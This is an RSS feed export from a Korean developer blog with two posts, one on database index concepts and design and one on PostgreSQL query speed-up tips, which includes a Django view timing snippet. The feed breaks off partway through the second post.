<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>조스의 개발먹방</title>
    <link>https://chiefcoder.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Sat, 9 May 2026 16:36:27 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>chief</managingEditor>
    <image>
      <title>조스의 개발먹방</title>
      <url>https://tistory1.daumcdn.net/tistory/5152736/attach/b03098e6238845ba9d6355bae2fd278b</url>
      <link>https://chiefcoder.tistory.com</link>
    </image>
    <item>
      <title>[Postgresql] 인덱스(INDEX) 개념 및 효과적인 인덱스 설계 방법 정리</title>
      <link>https://chiefcoder.tistory.com/67</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &amp;nbsp;&amp;nbsp;&lt;b&gt;들어가며...&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;실무에서 너무나도 많이 쓰이는 인덱스에 대해 알아보고, 효과적인 인덱스 설계 방법에는 어떠한 것들이 있는지 정리해보았습니다!&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &amp;nbsp;&lt;b&gt;내용&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;h2 id=&quot;%EC%-D%B-%EB%-D%B-%EC%-A%A-%EC%-D%--%--%EA%B-%-C%EB%--%--&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;인덱스의 개념&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;인덱스는 테이블의&amp;nbsp;&lt;b&gt;동작속도(조회)를 높여주는 자료구조&lt;/b&gt;입니다. 인덱스로 &lt;b&gt;데이터의 위치를 빠르게 찾아주는 역할&lt;/b&gt;이고&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;대표적인 예로는 &lt;b&gt;책 뒷편에 '색인'이 인덱스의 역할과 동일&lt;/b&gt;하다고 볼 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;인덱스가 설정되지 않았다면 Table Full Scan이 일어나 성능이 저하되거나 치명적인 장애가 발생합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하지만, 인덱스의 단점도 존재하는데, 조회속도는 빨라지지만 &lt;b&gt;UPDATE, INSERT, DELETE의 속도는 저하된다는 단점&lt;/b&gt;이 있습니다. (Table의 index 색인 정보를 갱신하는 추가적인 비용 소요)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;때문에 효율적인 인덱스 설계로 단점을 최대한 보완하는 방법을 생각해보아야 합니다.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-&amp;gt; 최근에 저는 POSTGRESQL에서 제공하는 &lt;b&gt;BRIN INDEX(Block Range Index)&lt;/b&gt;를 알게되었는데 &lt;b&gt;B-TREE 인덱스보다 쿼리 퍼포먼스가 더 좋다고 합니다&lt;/b&gt;. 추후 BRIN INDEX관련하여 블로그 글 작성 예정입니다!&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;%EC%-D%B-%EB%-D%B-%EC%-A%A-%EC%-D%--%--%ED%-A%B-%EC%A-%--&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;인덱스의 특징&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;인덱스는 하나 혹은 여러 개의 컬럼에 대해 설정할 수 있습니다. (단일 여러개 또는 여러컬럼을 묶어 복합인덱스)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;WHERE절을 사용하지 않고 인덱스가 걸린 컬럼을 조회하는 것은 성능에 아무런 영향이 없습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;ORDER%--BY%--%EC%--%--%--GROUP%--BY%EC%--%--%--%EB%-C%--%ED%--%-C%--INDEX&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;ORDER BY 와 GROUP BY에 대한 INDEX&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;INDEX는 ORDER BY와 GROUP BY에도 영향을 끼치는데 다음과 같은 경우에는 INDEX를 타지 않습니다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;ORDER BY 인덱스컬럼1, 컬럼2 :&lt;/b&gt;&amp;nbsp;복수의 키에 대해서 ORDER BY를 사용한 경우&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;WHERE 컬럼1='값' ORDER BY 인덱스 컬럼 :&lt;/b&gt;&amp;nbsp;연속하지 않은 컬럼에 대해 ORDER BY를 실행한 경우&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;ORDER BY 인덱스컬럼1 DESC, 인덱스컬럼2 ASC :&lt;/b&gt;&amp;nbsp;DESC와 ASC를 혼합해서 사용한 경우&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;GROUP BY 컬럼1 ORDER BY 컬럼2 :&lt;/b&gt;&amp;nbsp;GROUP BY와 ORDER BY의 컬럼이 다른 경우&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;ORDER BY ABS(컬럼) :&lt;/b&gt;&amp;nbsp;ORDER BY 절에 다른 표현을 사용한 경우&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;%EB%-B%A-%EC%A-%--%--%EC%BB%AC%EB%-F%BC%--%EC%-D%B-%EB%-D%B-%EC%-A%A-&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;다중 컬럼 인덱스&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;다중 컬럼 인덱스는&amp;nbsp;&lt;b&gt;두개 이상의 필드를 조합해서 생성한 INDEX&lt;/b&gt;입니다. 1번째 조건과 이를 만족하는 2번째 조건을 함께 INDEX해서 사용합니다. (MySQL은 INDEX에 최대 15개 컬럼으로 구성 가능)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;다중 컬럼 인덱스는&amp;nbsp;&lt;b&gt;단일 컬럼 인덱스 보다 더 비효율적으로 INDEX/UPDATE/DELETE를 수행하기 때문에 신중&lt;/b&gt;해야합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;때문에 가급적 UPDATE가 안되는 값을 선정해야 합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;%EB%-B%A-%EC%-D%BC%EC%-D%B-%EB%-D%B-%EC%-A%A-%EC%--%--%--%EB%-B%A-%EC%A-%--%--%EC%BB%AC%EB%-F%BC%--%EC%-D%B-%EB%-D%B-%EC%-A%A-%EC%-D%--%--%EC%B-%A-%EC%-D%B-%EC%A-%--&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;단일인덱스와 다중 컬럼 인덱스의 차이점&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;Table1(단일 인덱스)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1668660054474&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CREATE TABLE table1(
    uid INT(11) NOT NULL auto_increment,
    id VARCHAR(20) NOT NULL,
    name VARCHAR(50) NOT NULL,
    address VARCHAR(100) NOT NULL,
    PRIMARY KEY('uid'),
    key idx_name(name),
    key idx_address(address)
)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;Table2(다중 컬럼 인덱스)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1668660054476&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CREATE TABLE table2(
    uid INT(11) NOT NULL auto_increment,
    id VARCHAR(20) NOT NULL,
    name VARCHAR(50) NOT NULL,
    address VARCHAR(100) NOT NULL,
    PRIMARY KEY('uid'),
    key idx_name(name, address)    
)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;QUREY문&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1668660054477&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT * FROM table1 WHERE name='홍길동' AND address='경기도';&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;table1의 경우에 각각 컬럼(name),(address)에 INDEX가 걸려있기 때문에&amp;nbsp;&lt;b&gt;MySQL은 name컬럼과 address컬럼을 보고 둘 중에 어떤 컬럼의 수가 더 빠르게 검색되는지 판단 후 빠른쪽을 먼저 검색하고 그 다음 다른 컬럼을 검색&lt;/b&gt;하게 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;table2의 경우&amp;nbsp;&lt;b&gt;바로 원하는 값을 찾는데&lt;/b&gt; 그 이유는 INDEX를 저장할 때 name과 address를 같이 저장하기 때문입니다. 즉, &lt;b&gt;name과 address의 값을 같이 색인하고 검색에서도 '홍길동경기도'로 검색을 시도&lt;/b&gt;하게 됩니다. 이렇게 사용할 경우 table1보다 table2의 경우가 더 빠른 검색을 할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그렇지만 다중 컬럼 인덱스를 아래와 같이 사용하면 INDEX를 타지 않습니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1668660054477&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT * FROM table2 WHERE address='경기도';&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이 경우에는&amp;nbsp;&lt;b&gt;다중 컬럼 인덱스로 설정되어 있던 name이 함께 검색이 되지 않으므로 INDEX의 효과를 볼 수가 없습니다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하지만 조건값을 name='홍길동'으로 준다면&amp;nbsp;&lt;b&gt;B*Tree 자료구조 탐색&lt;/b&gt;으로 인해 name컬럼은 인덱스가 적용됩니다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;예를들어 key idx_name(name, address, age) 일때 WHERE name = ? AND address = ? 는 인덱스가 적용되지만 WHERE name = ? AND age = ? 에서 age 컬럼은 인덱스 적용이 되지 않습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;다중 컬럼 인덱스를 사용할 때는 INDEX로 설정해준 제일 왼쪽컬럼이 WHERE절에 사용&lt;/b&gt;되어야 합니다. (중요)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;%E-%--%--%EC%--%A-%EA%B-%--%EB%B-%A-%EB%B-%--&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;설계방법&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;무조건 많이 설정하지 않습니다. (한 테이블당 3~5개가 적당 목적에 따라 상이)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;조회시 자주 사용하는 컬럼&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;고유한 값 위주로 설계&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;카디널리티가 높을 수록 좋습니다 (= 한 컬럼이 갖고 있는 중복의 정도가 낮을 수록 좋습니다.)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;INDEX 키의 크기는 되도록 작게 설계&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;PK, JOIN의 연결고리가 되는 컬럼&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;단일 인덱스 여러 개 보다 다중 컬럼 INDEX 생성 고려&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;UPDATE가 빈번하지 않은 컬럼&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;JOIN시 자주 사용하는 컬럼&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;INDEX를 생성할 때 가장 효율적인 자료형은 정수형 자료(가변적 데이터는 비효율적)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;%EC%-D%B-%EB%-D%B-%EC%-A%A-%--%EB%AC%B-%EB%B-%--&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;인덱스 문법&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;인덱스 생성&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1668660054478&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-- 단일 인덱스
CREATE INDEX 인덱스이름 ON 테이블이름(필드이름1)

-- 다중 컬럼 인덱스
CREATE INDEX 인덱스이름 ON 테이블이름(필드이름1, 필드이름2, ...)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;인덱스 조회&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1668660054479&quot; class=&quot;pgsql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SHOW INDEX FROM 테이블이름&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;UNUQUE 인덱스 생성(중복 값을 허용하지 않는 인덱스)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1668660054479&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-- 단일 인덱스
CREATE UNIQUE INDEX 인덱스 이름 ON 테이블이름(필드이름1)
-- 다중 컬럼 인덱스
CREATE UNIQUE INDEX 인덱스 이름 ON 테이블이름(필드이름1, 필드이름2, ...)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;인덱스 정렬(인덱스 생성 시점에 필드의 정렬방식 설정)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1668660054480&quot; class=&quot;n1ql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CREATE INDEX 인덱스이름 ON 테이블이름 (필드이름 DESC)
CREATE INDEX 인덱스이름 ON 테이블이름 (필드이름 ASC)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;인덱스 삭제&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1668660054480&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ALTER TABLE 테이블이름 DROP INDEX 인덱스이름;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;인덱스 추가&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1668660054480&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ALTER TABLE 테이블이름 ADD (UNIQUE)INDEX 인덱스이름(컬럼명1, 컬럼명2...);&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &amp;zwj;♂️&amp;nbsp;&lt;b&gt;후기&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음편에는 POSTGRESQL 9.5버전 이후로 제공하는 BRIN INDEX에 대해 공부한 후 블로그 글을 통해 내용을 공유하도록 하겠습니다. 인덱스를 잘 모르고 사용한다면 인덱스를 걸어도 사용이 안될 수 있으니 이 점 유의하여 사용하여야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;혹시 실무에서 인덱스를 사용하시다가 이슈사항이 발생하여 트러블슈팅을 해보신 경험이 있다면 서로 공유하면 좋을것 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘도 글 읽어주셔서 감사합니다~!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Postgresql</category>
      <category>btree</category>
      <category>index</category>
      <category>PostgreSQL</category>
      <author>chief</author>
      <guid isPermaLink="true">https://chiefcoder.tistory.com/67</guid>
      <comments>https://chiefcoder.tistory.com/67#entry67comment</comments>
      <pubDate>Tue, 6 Dec 2022 14:30:55 +0900</pubDate>
    </item>
    <item>
      <title>[Postgresql] 쿼리 속도개선 방법 정리</title>
      <link>https://chiefcoder.tistory.com/66</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &amp;nbsp;&amp;nbsp;&lt;b&gt;들어가며...&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;제가 실무에서 쿼리의 속도개선을 진행하면서 고민하고 시도해보았던 내용들을 정리해보는 시간을 가져보겠습니다. 다만, 예시들은 보안때문에 올릴수 없는점 양해부탁드립니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &amp;nbsp;&lt;b&gt;내용&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;div id=&quot;main-content&quot;&gt;
&lt;div id=&quot;expander-2124038325&quot; data-hasbody=&quot;true&quot; data-macro-name=&quot;expand&quot;&gt;
&lt;p id=&quot;expander-control-2124038325&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;1. querystrings.py 적절한 TempTable 사용 (JOIN절에 과다한 서브쿼리 사용)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;expander-content-2124038325&quot;&gt;
&lt;ol style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;JOIN절&lt;/b&gt;에 과다한 서브쿼리를 사용하는 것 보다는 때로는 적절한 TempTable 사용 (실제 2,300여건 결과 TimeOut &amp;rarr; 3초)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;UPDATE - FROM 절&lt;/b&gt;&amp;nbsp;사용시에도 FROM 절의 서브쿼리를 temp table 로 변경했을 때 속도개선 효과가 클 수 있음&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;2. [querystrings.py] 여러 항목('...,...,...') 형태 등의 데이터를 다룰 때&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;expander-2146580247&quot; data-hasbody=&quot;true&quot; data-macro-name=&quot;expand&quot;&gt;
&lt;div id=&quot;expander-content-2146580247&quot;&gt;
&lt;ol style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;'...,...,...' 형태의 데이터 양이 많을 수록 'REGEXP_SPLIT_TO_TABLE(...' 함수보다는 'UNNEST(STRING_TO_ARRAY(...' 형태의 함수가 더 효율적 (실제 13,000여건 결과 30초 &amp;rarr; 0.7초 소요)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;WHERE 조건의 IN 절에는 데이터가 많을 수록 불리하므로, INNER JOIN 절을 고려해보는 것도 좋은 방법 (실제 13,000여건 결과 TImeOut &amp;rarr; 4.5초 소요)&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;expander-438855563&quot; data-hasbody=&quot;true&quot; data-macro-name=&quot;expand&quot;&gt;
&lt;div id=&quot;expander-content-438855563&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;expander-1779861812&quot; data-hasbody=&quot;true&quot; data-macro-name=&quot;expand&quot;&gt;
&lt;div id=&quot;expander-control-1779861812&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;&amp;nbsp;3. [Tip] 소요시간 측정 및 파악 하는 방법(time 라이브러리 사용)&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;expander-content-1779861812&quot;&gt;
&lt;ol style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;API 호출로 View 단 진입부터 return 되기 전까지&amp;nbsp;&lt;b&gt;어떤 부분에서 시간이 소요되는지 정확하게 파악&lt;/b&gt;하는게 중요&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;time 라이브러리를 사용하여 특정 구간의 소요시간을 측정 하여 OrderedDict 개체에 담아 이를 반환하도록 합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;특히 대량데이터 조회건의 경우 postman 에서 호출시 결과데이터 display 에 더 많은 시간이 소요되거나 앱이 먹통되기 때문에 실제 데이터를 반환하는 로직은 잠시 주석처리 해두도록 해야 합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div data-hasbody=&quot;true&quot; data-macro-name=&quot;code&quot;&gt;
&lt;div&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;3.1. 측정용 코드들 추가&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;livecodeserver&quot;&gt;&lt;code&gt;# -*- coding: utf-8 -*-

@api_view(['GET', 'POST'])
def select_data(request):
    if request.method == &quot;GET&quot;:
        dic = request.query_params.copy()
    else:
        dic = request.data.copy()

    ###### 속도 측정용 로직
    import collections, time
    result = collections.OrderedDict()  # 측정 결과를 순서대로 볼수 있도록 OrderedDict 에 결과를 담는다.
    bef_time = time.time()

    with get_service_connection(request) as cursor:
        cash = GetCashRemain(cursor, dic)

        ###### 속도 측정용 로직
        result['cash'] = time.time() - bef_time
        bef_time = time.time()

        cursor.execute(q_test_query1())
        dic.update(name_to_json(cursor)[0])

        ###### 속도 측정용 로직
        result['env'] = time.time() - bef_time
        bef_time = time.time()

        cursor.execute(q_test_query2(params=dic), dic)

        ###### 속도 측정용 로직
        result['execute main query'] = time.time() - bef_time
        bef_time = time.time()

        rows = name_to_json(cursor)

        ###### 속도 측정용 로직
        result['fetch data'] = time.time() - bef_time
        bef_time = time.time()

        crypt = CryptHelper(request)
        for row in rows:
            if row['private_number']:
                row['private_number'] = crypt.decrypt_social(data=row['private_number'])
                row['private_number'] = row['private_number'][:6] + '-' + row['private_number'][6:13]
            if row['no_security']:
                row['no_security'] = crypt.decrypt_string(data=row['no_security'])

        ###### 속도 측정용 로직
        result['decrypt'] = time.time() - bef_time
        bef_time = time.time()

    if 'test_column' not in dic and 'test_column2s' not in dic:
        rows = add_bungae_color(data=rows)

    ###### 속도 측정용 로직
    result['add color'] = time.time() - bef_time
    bef_time = time.time()

    return Response(data=result)
    # return Response(data=rows)  # 기존 반환문&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div id=&quot;highlighter_368723&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div data-hasbody=&quot;true&quot; data-macro-name=&quot;code&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;3.2. 측정결과&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
